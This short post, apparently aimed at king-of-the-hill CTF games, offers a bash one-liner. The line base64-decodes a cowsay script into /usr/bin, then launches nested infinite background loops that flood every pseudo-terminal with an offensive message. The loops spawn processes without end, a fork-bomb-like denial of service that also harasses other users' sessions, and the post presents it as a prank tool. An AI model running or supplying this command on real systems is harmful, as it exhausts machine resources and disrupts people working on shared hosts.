Better than /dev/urandom!
This oneliner will unload cowsay script and use it to spam all tty sessions till the ... cows.. come home.
Perfect for keeping king, not so much for keeping friends!
- Uses perl script "Cowsay 3.03" located here: https://github.com/tnalpgge/rank-amateur-cowsay/blob/master/cowsay
echo JHRoZV9jb3cgPSA8PCJFT0MiOwogICAgICAgICR0aG91Z2h0cyAgIF5fX14KICAgICAgICAgJHRob3VnaHRzICAoJGV5ZXMpXFxfX19fX19fCiAgICAgICAgICAgIChfXylcXCAgICAgICApXFwvXFwKICAgICAgICAgICAgICR0b25ndWUgfHwtLS0tdyB8CiAgICAgICAgICAgICAgICB8fCAgICAgfHwKRU9DCg==|base64 -d>/usr/bin/default.cow;echo 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-d>/usr/bin/cowsay.pl;for i in $(seq 0 10);do while [ 1 ];do perl /usr/bin/cowsay.pl -f /usr/bin/default.cow deeznuts > /dev/pts/$i &done &done